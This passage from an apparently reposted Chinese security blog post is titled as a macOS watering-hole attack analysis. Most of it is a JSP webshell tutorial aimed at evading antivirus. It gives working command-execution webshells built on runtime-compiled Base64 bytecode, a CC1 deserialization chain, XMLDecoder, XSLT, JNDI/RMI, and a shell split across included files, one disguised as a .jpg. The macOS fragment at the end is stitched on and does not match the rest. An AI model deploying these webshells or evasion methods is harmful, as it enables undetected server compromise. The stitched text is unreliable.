  String base64Code = "cGFja2FnZSBjb20uZGVtbzsgIGltcG9ydCBqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyOyBpbXBvcnQgamF2YS5pby5JT0V4Y2VwdGlvbjsgaW1wb3J0IGphdmEuaW8uSW5wdXRTdHJlYW07IGltcG9ydCBqYXZhLmlvLklucHV0U3RyZWFtUmVhZGVyOyAgcHVibGljIGNsYXNzIFNoZWxsIHsgICAgIHB1YmxpYyBzdGF0aWMgU3RyaW5nIHJ1bnMoU3RyaW5nIGNtZCkgdGhyb3dzIElPRXhjZXB0aW9uIHsgICAgICAgICBQcm9jZXNzIHByb2Nlc3MgPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGNtZCk7ICAgICAgICAgSW5wdXRTdHJlYW0gaXMgPSBwcm9jZXNzLmdldElucHV0U3RyZWFtKCk7ICAgICAgICAgQnVmZmVyZWRSZWFkZXIgYnVmZmVyZWRSZWFkZXIgPSBuZXcgQnVmZmVyZWRSZWFkZXIobmV3IElucHV0U3RyZWFtUmVhZGVyKGlzKSk7ICAgICAgICAgU3RyaW5nIHIgPSAiIjsgICAgICAgICBTdHJpbmcgcyA9ICIiOyAgICAgICAgIHdoaWxlKChyID0gYnVmZmVyZWRSZWFkZXIucmVhZExpbmUoKSkhPW51bGwpeyAgICAgICAgICAgICBzICs9IHI7ICAgICAgICAgfSAgICAgICAgIHJldHVybiBzOyAgICAgfSAgfQ==";

  FileWriter writer;
  try {
    writer = new FileWriter(System.getProperty("user.dir")+"\Shell.java");
    writer.write(new String(Base64.getDecoder().decode(base64Code)));
    writer.flush();
    writer.close();
  } catch (IOException e) {
    e.printStackTrace();
  }

  try {
    JavaCompiler javac = ToolProvider.getSystemJavaCompiler();
    int status = javac.run(null, null, null, "-d", System.getProperty("user.dir"),System.getProperty("user.dir")+"\Shell.java");
    if(status!=0){
      response.getWriter().println(System.getProperty("user.dir"));
    }

    URLClassLoader classLoader = new URLClassLoader(new URL[]{new File(String.valueOf(System.getProperty("user.dir"))).toURI().toURL()});
    Class shell = classLoader.loadClass("com.demo.Shell");
    Object object = shell.newInstance();
    Method dm = shell.getDeclaredMethod("runs",String.class);
    Object invoke = dm.invoke(object, cmd);
    response.getWriter().println(invoke);

    new delete().deleteDir(new File(System.getProperty("user.dir") + "\com"));
    new delete().deleteDir(new File(System.getProperty("user.dir") + "\Shell.java"));

  } catch (Exception e) {
    e.printStackTrace();
  }
%>

MacOS 水坑攻击组合拳分析复现
15.png

免杀效果:

MacOS 水坑攻击组合拳分析复现
16.png

MacOS 水坑攻击组合拳分析复现
17.png

总结:

如果大家学过shellcode的免杀,我想都会有一种似曾相识的感觉,没错,这里的字节码类似与shellcode,而类加载器类似于shellcode加载器。本文讲解了最常用的生成字节码的方式,以及利用类加载器加载字节码达到免杀效果。

自建漏洞免杀

本章主要讲解,如何利用通用漏洞来进行命令执行,从而达到免杀效果

常规反序列化免杀

这种方式就相当于直接触发提供一个反序列化漏洞入口,但是能否被利用,还是在于服务端本身是否存在反序列化漏洞,下面给了一个例子,使用cc1链构建的webshell。

<%@ page import="java.io.*" %>
<%@ page import="org.apache.commons.collections.Transformer" %>
<%@ page import="org.apache.commons.collections.functors.ConstantTransformer" %>
<%@ page import="org.apache.commons.collections.functors.InvokerTransformer" %>
<%@ page import="org.apache.commons.collections.functors.ChainedTransformer" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.commons.collections.map.LazyMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.InvocationHandler" %>
<%@ page import="java.lang.annotation.Retention" %>
<%@ page import="java.lang.reflect.Proxy" %>
<%
    String cmd = request.getParameter("cmd");
    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd }) };
    Transformer transformerChain = new ChainedTransformer(transformers);

    Map innermap = new HashMap();
    Map outmap = LazyMap.decorate(innermap, transformerChain);

    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
    construct.setAccessible(true);

    InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outmap);

    Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
    handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);


    ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
    outputStream.writeObject(handler);
    outputStream.close();

    ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
    inputStream.readObject();
%>

免杀效果:

MacOS 水坑攻击组合拳分析复现
1.png

MacOS 水坑攻击组合拳分析复现
2.png

可见由于调用的函数太多,特征也非常明显,这里算是提供一些思路。

XMLDecoder免杀

想必大家都分析Weblogic的xmlDecoder反序列化漏洞,XMLDecoder免杀其实就是利用XMLDecoder处理恶意的xml文件导致命令执行,并没有太多常见命令函数的特征,免杀效果不错。

<%@ page import="java.beans.XMLDecoder" %>
<%@ page import="java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    String s = "<object class="java.lang.ProcessBuilder">n" +
            "<array class="java.lang.String" length="3">n" +
            "<void index="0">n" +
            "<string>cmd.exe</string>n" +
            "</void>n" +
            "<void index="1">n" +
            "<string>/c</string>n" +
            "</void>n" +
            "<void index="2">n" +
            "<string>"+cmd+"</string>n" +
            "</void>n" +
            "</array>n" +
            "<void method="start" />n" +
            "</object>n";


    XMLDecoder xd = new XMLDecoder(new ByteArrayInputStream(s.getBytes()));
    ProcessBuilder process = (ProcessBuilder) xd.readObject();
    InputStream is = process.start().getInputStream();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
    String r = null;
    while((= bufferedReader.readLine())!=null){
        response.getWriter().println(r);
    }
%>

MacOS 水坑攻击组合拳分析复现
3.png

MacOS 水坑攻击组合拳分析复现
4.png

XSLT免杀

其实就是利用XSLT注入来执行命令,但值得注意的是XSLT注入笔者目前并没有想到合适的方法让内容回显,因为XSLT貌似只能执行静态方法且返回值都是以String类型返回,导致process中的数据很难取出来。

<%@ page import="java.io.*" %>
<%@ page import="javax.xml.transform.Transformer" %>
<%@ page import="javax.xml.transform.stream.StreamResult" %>
<%@ page import="javax.xml.transform.TransformerFactory" %>
<%@ page import="javax.xml.transform.stream.StreamSource" %>
<%
    String cmd = request.getParameter("cmd");
    String s = "  <xsl:stylesheet version="1.0" " +
            "xmlns:xsl="http://www.w3.org/1999/XSL/Transform" " +
            "xmlns:rt="java.lang.Runtime"> " +
            "    <xsl:template match="/">n" +
            "      <xsl:variable name="rtobject" select="rt:getRuntime()"/>n" +
            "      <xsl:variable name="process" select="rt:exec($rtobject,'"+cmd+"')"/>n" +
            "      <xsl:variable name="ddd" select="$process"/>n" +
            "      <xsl:value-of select="$ddd"/>n" +
            "    </xsl:template>n" +
            "  </xsl:stylesheet>";
    InputStream in = new ByteArrayInputStream(s.getBytes());
    StreamResult result = new StreamResult(new ByteArrayOutputStream());
    Transformer t = TransformerFactory.newInstance().newTransformer(new StreamSource(in));
    t.transform(new StreamSource(new ByteArrayInputStream("<?xml version="1.0" encoding="UTF-8"?><data></data>".getBytes())),result);

%>

MacOS 水坑攻击组合拳分析复现
7.png

MacOS 水坑攻击组合拳分析复现
6.png

MacOS 水坑攻击组合拳分析复现
5.png

JNDI注入免杀

攻击者:

package com.demo;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Demo2 {
    public static void main(String[] args) throws Exception {
        try {
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1/");
            ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
            registry.bind("hello", refObjWrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

恶意类:

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Calc implements ObjectFactory {
    public Calc() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
        }
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println(nameCtx);
        //Runtime.getRuntime().exec("calc");
        return null;
    }
}

webshell:

<%@ page import="javax.naming.Context" %>
<%@ page import="javax.naming.InitialContext" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
    try {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        String uri = "rmi://127.0.0.1:1099/hello";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    } catch (Exception e) {
        e.printStackTrace();
    }
%>

MacOS 水坑攻击组合拳分析复现
8.png

MacOS 水坑攻击组合拳分析复现
9.png

MacOS 水坑攻击组合拳分析复现
10.png

总结:

本章主要是通过自己创造漏洞来执行命令,而我们用到的这些函数其实也是业务中比较常见的函数,且如果不了解漏洞原理,也不好分析是否是webshell

其他免杀

本章只要将之前没讲的一些免杀反射进行补充

include分离免杀

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<%@ include file = "1.jpg" %>

1.jpg

<%
    String cmd = request.getParameter("cmd");
    Process process = Runtime.getRuntime().exec(cmd);
    InputStream is = process.getInputStream();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
    String r = null;
    while((= bufferedReader.readLine())!=null){
        response.getWriter().println(r);
    }
%>

MacOS 水坑攻击组合拳分析复现
1.png

免杀效果:

MacOS 水坑攻击组合拳分析复现
2.png

MacOS 水坑攻击组合拳分析复现
3.png

可以看到某盾会查杀jpg文件,这样的话,我们就在分解成多个部分

MacOS 水坑攻击组合拳分析复现
4.png

这里我们分成两部分进行包含

MacOS 水坑攻击组合拳分析复现
5.png

发现依旧绕不过,其实原因就是杀软的匹配规则,有的是单一匹配,有的是同时匹配,因此我们换一个之前不免杀的webshell(由于两处及以上特征存在导致被查杀)

MacOS 水坑攻击组合拳分析复现
6.png

正常运行

MacOS 水坑攻击组合拳分析复现
7.png

某盾不在查杀

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%@ include file = "1.jpg" %>
<%@ include file = "2.txt" %>

1.jpg

<%   
        String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
        Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
        Method runtimeMethod = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
        Method method = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
        Object object = method.invoke(runtimeMethod.invoke(null),cmd);
        Process process = (Process) object;

%>

2.txt

<%
    InputStream is = process.getInputStream();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
    String r = null;
    while((= bufferedReader.readLine())!=null){
        response.getWriter().println(r);
    }
%>

总结:

java的免杀只要就是在于如何利用字节码,jsp特性,创建漏洞,少见的API等方式去绕过杀软的正则表达式,一般的杀软为了降低误报率,其实规则写的并不苛刻,还是比较好绕过了,多种免杀一起使用可以达到比较好的效果,其实学免杀,并不是盲目去测试,而且要了解更多的语言特性,就相当于游戏规则,当你足够了解游戏规则,再去测试杀软的规则,才能游刃有余。从才开始的php到现在的jsp,免杀系列已经写了10来篇了,weshell免杀就此先告一段落,后面如果有新的知识点也会继续补充,感谢大家,关注红队蓝军。

task_info(mach_task_self(),TASK_AUDIT_TOEKN,(task_info_t)&token,&size)
printf("%dn",token.val[0]);

与launchd通信的xpc消息构造

MacOS 水坑攻击组合拳分析复现
launchd.png

IDA 还原的代码有明显错误,根据上下文怀疑最后的v8应该是_launch_msg2 lldb attach到safari的WebContent进程测试下

MacOS 水坑攻击组合拳分析复现
attach.png

MacOS 水坑攻击组合拳分析复现
xpc.png

v8函数的参数与_launch_msg2的动态参数一致

端上表现行为

MacOS 水坑攻击组合拳分析复现
launch_dumpstate.png

MacOS 水坑攻击组合拳分析复现
xattr.png

MacOS 水坑攻击组合拳分析复现
kuncd.png

总结

此次攻击利用的代码中使用了大量未公开的技巧、函数,webkit 0day,LPE 1day等,作为防守方整个流程跟下来收益匪浅

参考文档:

[1] https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/

[2] https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/

[3] https://googleprojectzero.blogspot.com/2020/09/jitsploitation-one.html

[4] https://liveoverflow.com/getting-into-browser-exploitation-new-series-introduction-browser-0x00/

[5] https://github.com/wangtielei/Slides/blob/main/zer0con21.pdf

[6] https://github.com/wangtielei/Slides/blob/main/mosec21.pdf


推荐阅读:
java免杀合集
ATT&CK中的攻与防——T1059
若依(RuoYi)管理系统后台sql注入漏洞分析
利用 PHP-FPM 做内存马的方法
一种新的Tomcat内存马 – Upgrade内存马



跳跳糖是一个安全社区,旨在为安全人员提供一个能让思维跳跃起来的交流平台。


跳跳糖持续向广大安全从业者征集高质量技术文章,可以是漏洞分析,事件分析,渗透技巧,安全工具等等。
通过审核且发布将予以500RMB-1000RMB不等的奖励,具体文章要求可以查看“投稿须知”。
阅读更多原创技术文章,戳“阅读全文


原文始发于微信公众号(跳跳糖社区):MacOS 水坑攻击组合拳分析复现

版权声明:admin 发表于 2022年9月19日 上午10:47。
转载请注明:MacOS 水坑攻击组合拳分析复现 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...